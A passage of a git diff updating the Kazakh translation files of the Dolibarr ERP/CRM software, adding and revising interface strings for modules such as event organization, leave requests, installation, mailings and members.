      Send Call for Booths
      Validate suggestions of Conferences
      Validate application for Booths
      Open subscriptions to the event for attendees
      Send a remind of the event to speakers
      Send a remind of the event to Booth hosters
      Send a remind of the event to attendees +EVENTORGANIZATION_TASK_LABELTooltip2=Keep empty if you don't need to create tasks automatically. EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = Біреу конференция ұсынған кезде үшінші тараптарға автоматты түрде қосылатын санат EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = Үшінші тараптарға стенд ұсынылған кезде автоматты түрде қосылатын санат EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = Конференция туралы ұсынысты алғаннан кейін жіберілетін электрондық пошта үлгісі. @@ -53,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = In the form to create/add an attendee, # Object # EventOrganizationConfOrBooth= Конференция немесе стенд +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = Manage the organization of an event ConferenceOrBooth = Конференция немесе стенд ConferenceOrBoothTab = Конференция немесе стенд AmountPaid = Amount paid DateOfRegistration = Date of registration ConferenceOrBoothAttendee = Конференцияға немесе стендке қатысушы +ApplicantOrVisitor=Applicant or visitor +Speaker=Speaker # # Template Mail @@ -111,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Here, you can vote for a conference or suggest EvntOrgRegistrationConfHelpMessage = Here, you can suggest a new conference to animate during the event. EvntOrgRegistrationBoothHelpMessage = Here, you can apply to have a booth during the event. ListOfSuggestedConferences = Ұсынылған конференциялар тізімі -ListOfSuggestedBooths = Ұсынылған стендтердің тізімі -ListOfConferencesOrBooths=List of conferences or booths of event project +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = Жаңа конференцияны ұсыныңыз SuggestBooth = Стенд ұсыну ViewAndVote = Ұсынылған оқиғаларды қарау және оларға дауыс беру PublicAttendeeSubscriptionGlobalPage = Public link for registration to the event PublicAttendeeSubscriptionPage = Public link for registration to this event only MissingOrBadSecureKey = Қауіпсіздік кілті жарамсыз немесе жоқ -EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event : %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = Бұл конференция %s басталып, %s аяқталады. ConferenceAttendeeFee = Конференцияға қатысушылардың ақысы: «%s» - %s - %s аралығында. BoothLocationFee = Іс -шараның стендтік орны: '%s' %s мен %s аралығында болады @@ -129,7 +133,7 @@ LabelOfconference=Конференция белгісі ConferenceIsNotConfirmed=Registration not available, conference is not confirmed yet DateMustBeBeforeThan=%s %s алдында болуы керек DateMustBeAfterThan=%s %s кейін болуы керек - +MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=Registration OrganizationEventConfRequestWasReceived=Your suggestion for a conference has been received OrganizationEventBoothRequestWasReceived=Your request for a booth has been received @@ -138,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=Your payment for your event re OrganizationEventBulkMailToAttendees=This is a remind about your participation in the event as an attendee OrganizationEventBulkMailToSpeakers=This is a reminder on your participation in the event as a speaker OrganizationEventLinkToThirdParty=Link to third party (customer, supplier or partner) +OrganizationEvenLabelName=Public name of the conference or booth NewSuggestionOfBooth=Application for a booth NewSuggestionOfConference=Application for a conference @@ -153,7 +158,7 @@ VoteOk = Сіздің дауысыңыз қабылданды. AlreadyVoted = Сіз бұл оқиғаға дауыс бердіңіз. VoteError = Дауыс беру кезінде қате пайда болды, қайталап көріңіз. -SubscriptionOk = Your registration has been validated +SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = Confirmation of your subscription to an event Attendee = Қатысушы PaymentConferenceAttendee = Конференцияға қатысушылардың төлемі @@ -161,7 +166,9 @@ PaymentBoothLocation = Букс орналасқан жерді төлеу DeleteConferenceOrBoothAttendee=Remove attendee RegistrationAndPaymentWereAlreadyRecorder=A registration and a payment were already recorded for the email %s EmailAttendee=Attendee email +EmailCompany=Company email EmailCompanyForInvoice=Company email (for invoice, if different of attendee email) ErrorSeveralCompaniesWithEmailContactUs=Several companies with this email has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation ErrorSeveralCompaniesWithNameContactUs=Several companies with this name has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation NoPublicActionsAllowedForThisEvent=No public actions are open to public for this event +MaxNbOfAttendees=Max number of attendees diff --git a/htdocs/langs/kk_KZ/holiday.lang b/htdocs/langs/kk_KZ/holiday.lang index c6a07415bf7..bd8f41811d4 100644 --- a/htdocs/langs/kk_KZ/holiday.lang +++ b/htdocs/langs/kk_KZ/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Шығу +Holidays=Leaves +Holiday=Leave CPTitreMenu=Шығу MenuReportMonth=Ай сайынғы мәлімдеме MenuAddCP=Жаңа демалыс туралы өтініш +MenuCollectiveAddCP=New collective leave request NotActiveModCP=Бұл бетті көру үшін Шығу модулін қосу керек. AddCP=Демалыс туралы өтініш жасаңыз DateDebCP=Басталатын күн @@ -56,6 +58,7 @@ ConfirmDeleteCP=Бұл демалыс туралы сұраудың жойылғ ErrorCantDeleteCP=Қате, сіз бұл демалысты жоюға құқығыңыз жоқ. CantCreateCP=Сіз демалысқа өтініш беруге құқығыңыз жоқ. InvalidValidatorCP=Сіз еңбек демалысына рұқсат берушіні таңдауыңыз керек. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Сіз басталу күнін таңдауыңыз керек. NoDateFin=Сіз аяқталу күнін таңдауыңыз керек. ErrorDureeCP=Сіздің демалыс туралы өтінішіңізде жұмыс күні жоқ. @@ -79,6 +82,8 @@ MotifCP=Себеп UserCP=Қолданушы ErrorAddEventToUserCP=Ерекше демалысты қосу кезінде қате пайда болды. AddEventToUserOkCP=Ерекше демалысты қосу аяқталды. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=Өзгерістер журналын қарау LogCP=«Демалыс балансына» енгізілген барлық жаңартулардың журналы ActionByCP=Жаңартқан @@ -86,6 +91,13 @@ UserUpdateCP=Үшін жаңартылды PrevSoldeCP=Алдыңғы қалдық NewSoldeCP=Жаңа баланс alreadyCPexist=Бұл кезеңде еңбек демалысы сұраныс берілді. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Groups +users=Users +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Еңбек демалысының басталу күні LastDayOfHoliday=Еңбек демалысының аяқталу күні BoxTitleLastLeaveRequests=Ең соңғы %s өзгертілген демалыс сұраулары @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s әдетте жұмыс істемейтін күн б BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/kk_KZ/install.lang b/htdocs/langs/kk_KZ/install.lang index b16cace5e25..61441951eea 100644 --- a/htdocs/langs/kk_KZ/install.lang +++ b/htdocs/langs/kk_KZ/install.lang @@ -51,7 +51,6 @@ DatabaseName=Мәліметтер қорының атауы DatabasePrefix=Деректер кестесінің префиксі DatabasePrefixDescription=Деректер кестесінің префиксі. Егер бос болса, әдепкі бойынша llx_. AdminLogin=Dolibarr дерекқор иесінің пайдаланушы тіркелгісі. -PasswordAgain=Құпия сөзді растауды қайта теріңіз AdminPassword=Dolibarr дерекқор иесінің құпия сөзі. CreateDatabase=Мәліметтер қорын құру CreateUser=Пайдаланушы тіркелгісін жасаңыз немесе Dolibarr дерекқорында пайдаланушы тіркелгісіне рұқсат беріңіз @@ -89,7 +88,7 @@ LoginAlreadyExists=Қазірдің өзінде бар DolibarrAdminLogin=Dolibarr әкімшісінің логині AdminLoginAlreadyExists=Dolibarr әкімші тіркелгісі ' %s ' бұрыннан бар. Егер сіз басқасын жасағыңыз келсе, оралыңыз. FailedToCreateAdminLogin=Dolibarr әкімші тіркелгісін жасау мүмкін болмады. -WarningRemoveInstallDir=Ескерту, қауіпсіздік мақсатында, орнату немесе жаңарту аяқталғаннан кейін, Dolibarr құжаттар каталогына install.lock деп аталатын файлды қайта орнату кездейсоқ/зиянды пайдаланылуын болдырмау үшін қосу қажет. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Бұл PHP -те қол жетімді емес ChoosedMigrateScript=Көшіру сценарийін таңдаңыз DataMigration=Мәліметтер қорын көшіру (деректер) @@ -209,7 +208,12 @@ HideNotAvailableOptions=Қол жетімді емес опцияларды жа ErrorFoundDuringMigration=Тасымалдау кезінде қателер туралы хабарланды, сондықтан келесі қадам мүмкін емес. Қателерді елемеу үшін мына жерді басыңыз, бірақ қателер шешілмейінше бағдарлама немесе кейбір мүмкіндіктер дұрыс жұмыс істемеуі мүмкін. YouTryInstallDisabledByDirLock=Қолданба өзін-өзі жаңартуға тырысты, бірақ қауіпсіздік үшін орнату/жаңарту беттері өшірілді (каталогтың аты .lock суффиксімен өзгертілді).
      YouTryInstallDisabledByFileLock=Қолданба өзін-өзі жаңартуға тырысты, бірақ қауіпсіздік үшін орнату/жаңарту беттері өшірілді (dolibarr құжаттар каталогында install.lock құлыптау файлының болуымен).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Өтінішке өту үшін мына жерді басыңыз ClickOnLinkOrRemoveManualy=Егер жаңарту жүріп жатса, күтіңіз. Егер жоқ болса, келесі сілтемені басыңыз. Егер сіз дәл осы бетті үнемі көретін болсаңыз, құжаттар каталогындағы install.lock файлын алып тастауыңыз керек. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Жүктелді FunctionTest=Функционалды тест +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/kk_KZ/interventions.lang b/htdocs/langs/kk_KZ/interventions.lang index 15c32b13981..19e2063ae18 100644 --- a/htdocs/langs/kk_KZ/interventions.lang +++ b/htdocs/langs/kk_KZ/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Интервенциялық жазбалар үш InterventionStatistics=Интервенциялар статистикасы NbOfinterventions=Интервенциялық карталардың саны NumberOfInterventionsByMonth=Айлар бойынша араласу карталарының саны (жарамдылық күні) -AmountOfInteventionNotIncludedByDefault=Интервенция сомасы пайдаға әдепкі бойынша кірмейді (көп жағдайда уақыт кестесі жұмсалған уақытты есептеу үшін қолданылады). Оларды қосу үшін PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT опциясын 1-ге қосыңыз. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=Интервенция идентификаторы InterRef=Интервенция реф. InterDateCreation=Күнді құруға араласу @@ -66,3 +66,7 @@ RepeatableIntervention=Интервенция үлгісі ToCreateAPredefinedIntervention=Алдын ала анықталған немесе қайталанатын араласуды жасау үшін жалпы араласуды жасаңыз және оны араласу үлгісіне айналдырыңыз ConfirmReopenIntervention= %s араласуды қайтарғыңыз келетініне сенімдісіз бе? GenerateInter=Интервенцияны жасаңыз +FichinterNoContractLinked=Intervention %s has been created without a linked contract. +ErrorFicheinterCompanyDoesNotExist=Company does not exist. Intervention has not been created. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/kk_KZ/loan.lang b/htdocs/langs/kk_KZ/loan.lang index 9d004eeee5b..cd422798307 100644 --- a/htdocs/langs/kk_KZ/loan.lang +++ b/htdocs/langs/kk_KZ/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with CantModifyInterestIfScheduleIsUsed = Егер сіз кестені қолдансаңыз, қызығушылықты өзгерте алмайсыз # Admin ConfigLoan=Кредиттік модульді конфигурациялау -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Әдепкі бойынша есеп шотының капиталы -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Әдепкі бойынша бухгалтерлік шоттағы пайыздар -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Әдепкі бойынша бухгалтерлік шотты сақтандыру +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Қаржылық міндеттемені өңдеу diff --git a/htdocs/langs/kk_KZ/mailmanspip.lang b/htdocs/langs/kk_KZ/mailmanspip.lang index dee7712f75e..65ae5adb44b 100644 --- a/htdocs/langs/kk_KZ/mailmanspip.lang +++ b/htdocs/langs/kk_KZ/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Жазылым сынағы сәтті өтті MailmanDeletionSuccess=Жазылымнан бас тарту сынағы сәтті орындалды SynchroMailManEnabled=Пошта хатшысы жаңартылады SynchroSpipEnabled=Spip жаңарту орындалады -DescADHERENT_MAILMAN_ADMINPW=Пошта хатшысы әкімшісінің құпия сөзі +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman administrator password DescADHERENT_MAILMAN_URL=Пошталық жазылушыларға арналған URL DescADHERENT_MAILMAN_UNSUB_URL=Пошталық жазылушылардың жазылуларының URL мекенжайы DescADHERENT_MAILMAN_LISTS=Жаңа мүшелерді автоматты түрде жазуға арналған тізімдер (үтірмен бөлінген) diff --git a/htdocs/langs/kk_KZ/mails.lang b/htdocs/langs/kk_KZ/mails.lang index 48493ce026b..2029a055ca9 100644 --- a/htdocs/langs/kk_KZ/mails.lang +++ b/htdocs/langs/kk_KZ/mails.lang @@ -7,10 +7,10 @@ MailCard=Электрондық пошта картасы MailRecipients=Алушылар MailRecipient=Алушы MailTitle=Сипаттама -MailFrom=Жіберуші +MailFrom=From MailErrorsTo=Қателері MailReply=Жауап беру -MailTo=Қабылдағыш +MailTo=To MailToUsers=Пайдаланушыларға MailCC=Мына жерге көшіру MailToCCUsers=Пайдаланушыларға көшіру @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Байланыстар лауазымы бо MailingModuleDescEmailsFromFile=Файлдан келген хаттар MailingModuleDescEmailsFromUser=Пайдаланушының электрондық поштаны енгізуі MailingModuleDescDolibarrUsers=Электрондық поштасы бар пайдаланушылар -MailingModuleDescThirdPartiesByCategories=Үшінші тұлғалар (категориялар бойынша) +MailingModuleDescThirdPartiesByCategories=Third parties SendingFromWebInterfaceIsNotAllowed=Веб -интерфейстен жіберуге рұқсат жоқ. EmailCollectorFilterDesc=Электрондық поштаның жиналуы үшін барлық сүзгілер сәйкес келуі керек @@ -178,3 +178,5 @@ IsAnAnswer=Бұл бастапқы электрондық поштаға жау RecordCreatedByEmailCollector=%s электрондық пошта жинаушысы %s электрондық поштасынан жасаған жазба DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Бос, бірақ міндетті +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/kk_KZ/main.lang b/htdocs/langs/kk_KZ/main.lang index 071c4ac9834..c8c71ea1157 100644 --- a/htdocs/langs/kk_KZ/main.lang +++ b/htdocs/langs/kk_KZ/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=, @@ -28,6 +34,7 @@ NoTemplateDefined=Бұл электрондық пошта түрі үшін ү AvailableVariables=Қол жетімді алмастыру айнымалылары NoTranslation=Аударма жоқ Translation=Аударма +Translations=Translations CurrentTimeZone=PHP TimeZone (сервер) EmptySearchString=Бос емес іздеу критерийлерін енгізіңіз EnterADateCriteria=Күн критерийін енгізіңіз @@ -199,6 +206,7 @@ Valid=Жарамды Approve=Бекіту Disapprove=Қабылдамау ReOpen=Қайта ашу +OpenVerb=Open Upload=Жүктеу ToLink=Сілтеме Select=Таңдаңыз @@ -216,8 +224,9 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=Пайдаланушылар тобы анықталмаған Password=Құпия сөз -PasswordRetype=Құпия сөзді қайта теріңіз +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Бұл демонстрацияда көптеген мүмкіндіктер/модульдер өшірілгенін ескеріңіз. +YourUserFile=Your user file Name=Аты NameSlashCompany=Аты / Компания Person=Адам @@ -481,6 +490,7 @@ ActionsOnContact=Бұл байланыс/мекен -жай бойынша оқ ActionsOnContract=Бұл келісімшарт бойынша оқиғалар ActionsOnMember=Бұл мүше туралы оқиғалар ActionsOnProduct=Бұл өнім туралы оқиғалар +ActionsOnAsset=Events for this fixed asset NActionsLate=%s кеш ToDo=Істеу Completed=Аяқталды @@ -888,6 +898,9 @@ MassFilesArea=Жаппай әрекеттермен салынған файлд ShowTempMassFilesArea=Жаппай әрекеттермен салынған файлдар аймағын көрсету ConfirmMassDeletion=Жаппай жоюды растау ConfirmMassDeletionQuestion=%s таңдалған жазбаларды жойғыңыз келетініне сенімдісіз бе? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=Қатысты объектілер ClassifyBilled=Есепшотты жіктеу ClassifyUnbilled=Есепсіз жіктеу @@ -903,8 +916,8 @@ ExportFilteredList=Сүзілген тізімді экспорттау ExportList=Экспорттау тізімі ExportOptions=Экспорттау параметрлері IncludeDocsAlreadyExported=Қазірдің өзінде экспортталған құжаттарды қосыңыз -ExportOfPiecesAlreadyExportedIsEnable=Экспортталған бөлшектерді экспорттау мүмкіндігі қосылған -ExportOfPiecesAlreadyExportedIsDisable=Экспортталған бөлшектерді экспорттау өшірілген +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=Барлық экспортталған қозғалыстар экспорттық ретінде тіркелді NotAllExportedMovementsCouldBeRecordedAsExported=Экспортталған қозғалыстардың барлығын экспорт ретінде жазу мүмкін емес Miscellaneous=Әр түрлі @@ -921,6 +934,7 @@ DirectDownloadInternalLink=Жеке жүктеу сілтемесі PrivateDownloadLinkDesc=Сіз тіркелуіңіз керек және файлды қарау немесе жүктеу үшін сізге рұқсат қажет Download=Жүктеу DownloadDocument=Құжатты жүктеу +DownloadSignedDocument=Download signed document ActualizeCurrency=Валюта бағамын жаңарту Fiscalyear=Қаржы жылы ModuleBuilder=Модуль және қосымшалар құрастырушысы @@ -1046,6 +1060,7 @@ SearchIntoContracts=Келісімшарттар SearchIntoCustomerShipments=Клиенттерді жеткізу SearchIntoExpenseReports=Шығындар туралы есептер SearchIntoLeaves=Шығу +SearchIntoKM=Knowledge base SearchIntoTickets=Билеттер SearchIntoCustomerPayments=Клиенттердің төлемдері SearchIntoVendorPayments=Сатушы төлемдері @@ -1117,6 +1132,7 @@ DeleteFileText=Бұл файлды шынымен жойғыңыз келе ме ShowOtherLanguages=Басқа тілдерді көрсету SwitchInEditModeToAddTranslation=Бұл тілге аударма қосу үшін өңдеу режиміне ауысыңыз NotUsedForThisCustomer=Бұл тұтынушы үшін қолданылмайды +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=Саны оң болуы керек ByStatus=Мәртебесі бойынша InformationMessage=ақпарат @@ -1137,15 +1153,29 @@ EventReminder=Оқиғаны еске салғыш UpdateForAllLines=Барлық жолдар үшін жаңарту OnHold=Күтуде Civility=Азаматтық -AffectTag=Тегке әсер ету +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Сыртқы пайдаланушыны құру -ConfirmAffectTag=Жаппай тегтердің әсері -ConfirmAffectTagQuestion=%s таңдалған жазбаларына тегтерге әсер еткіңіз келетініне сенімдісіз бе? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=Жазбалар түрі үшін тег түрі табылмады +Rate=Бағалау +SupervisorNotFound=Supervisor not found CopiedToClipboard=Алмасу буферіне көшірілді InformationOnLinkToContract=Бұл сома келісімшарттың барлық жолдарының жиынтығы ғана. Уақыт ұғымы ескерілмейді. ConfirmCancel=Бас тартқыңыз келетініне сенімдісіз бе? EmailMsgID=MsgID электрондық поштасына жіберіңіз +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Қосылған күйге орнатыңыз SetToDisabled=Өшірілген күйге орнатыңыз ConfirmMassEnabling=растауға мүмкіндік беретін жаппай @@ -1174,9 +1204,21 @@ Terminated=Terminated AddLineOnPosition=Add line on position (at the end if empty) ConfirmAllocateCommercial=Assign sales representative confirmation ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Internal user +ExternalUser=External user +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/kk_KZ/members.lang b/htdocs/langs/kk_KZ/members.lang index 7186cd35c9a..0207a69b00f 100644 --- a/htdocs/langs/kk_KZ/members.lang +++ b/htdocs/langs/kk_KZ/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Another member (name: %s, logi ErrorUserPermissionAllowsToLinksToItselfOnly=Қауіпсіздік мақсатында мүшені сіздікі емес пайдаланушымен байланыстыру үшін барлық пайдаланушыларды өңдеуге рұқсат алуыңыз қажет. SetLinkToUser=Dolibarr пайдаланушысына сілтеме SetLinkToThirdParty=Dolibarr үшінші тарапқа сілтеме +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Мүшелердің тізімі MembersListToValid=Жобаға қатысушылардың тізімі (расталады) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Жаңа мүше @@ -72,12 +74,12 @@ MemberTypeCanNotBeDeleted=Мүше түрін жою мүмкін емес NewSubscription=New contribution NewSubscriptionDesc=Бұл форма жазылымды қордың жаңа мүшесі ретінде жазуға мүмкіндік береді. Егер сіз жазылымды жаңартқыңыз келсе (егер оның мүшесі болса), оның орнына %s электрондық поштасына хабарласыңыз. Subscription=Contribution -AnyAmountWithAdvisedAmount=Any amount with a recommended amount of %s %s -AnyAmountWithoutAdvisedAmount=Any amount +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice CanEditAmountShort=Any amount CanEditAmountShortForValues=recommended, any amount MembershipDuration=Duration -GetMembershipButtonLabel=Get membership +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=Кеш SubscriptionNotReceived=Contribution never received @@ -205,9 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Айналым (компания үшін) немесе бюджет (іргетас үшін) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution regardless of the member type +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type AmountIsLowerToMinimumNotice=sur un dû total de %s -MEMBER_NEWFORM_PAYONLINE=Біріктірілген онлайн төлем бетіне өтіңіз +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=Табиғаты бойынша MembersStatisticsByProperties=Мүшелердің статистикасы табиғаты бойынша VATToUseForSubscriptions=VAT rate to use for contributionss @@ -228,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/kk_KZ/modulebuilder.lang b/htdocs/langs/kk_KZ/modulebuilder.lang index 2945556eb3d..8e7c5fe99f0 100644 --- a/htdocs/langs/kk_KZ/modulebuilder.lang +++ b/htdocs/langs/kk_KZ/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=This tool must be used only by experienced users or developers. It provides utilities to build or edit your own module. Documentation for alternative manual development is here. EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=Модульдер жасалатын/өңделетін жол (%s анықталған сыртқы модульдердің бірінші каталогы): %s ModuleBuilderDesc3=Жасалған/өңделетін модульдер табылды: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Модуль каталогының түбірінде %s
      сипатын шынымен жойғыңыз келе ме? Бұл PHP класындағы кодты өзгертеді, сонымен қатар объектінің кесте анықтамасынан бағанды алып тастайды. NotNull=NULL емес NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) @@ -81,15 +86,16 @@ IsAMeasure=Өлшем болып табылады DirScanned=Каталог сканерленді NoTrigger=Триггер жоқ NoWidget=Виджет жоқ -GoToApiExplorer=API зерттеушісі +ApiExplorer=API explorer ListOfMenusEntries=Мәзір жазбаларының тізімі ListOfDictionariesEntries=Сөздіктер жазбаларының тізімі ListOfPermissionsDefined=Белгіленген рұқсаттар тізімі SeeExamples=Мысалдарды мына жерден қараңыз -EnabledDesc=Бұл өрісті белсенді ету шарты (Мысалдар: 1 немесе $ conf-> global-> MYMODULE_MYOPTION) -VisibleDesc=Өріс көрініп тұр ма? (Мысалдар: 0 = Ешқашан көрінбейді, 1 = Тізімде көрінеді және формаларды жасайды/жаңартады/қарайды, 2 = Тек тізімде көрінеді, 3 = Тек құру/жаңарту/қарау формасында көрінеді (тізім емес), 4 = Тізімде көрінеді және жаңарту/қарау формасы ғана (жасалмайды), 5 = Тек тізімдегі соңғы көрініс формасы көрінеді (жасамайды, жаңартылмайды).

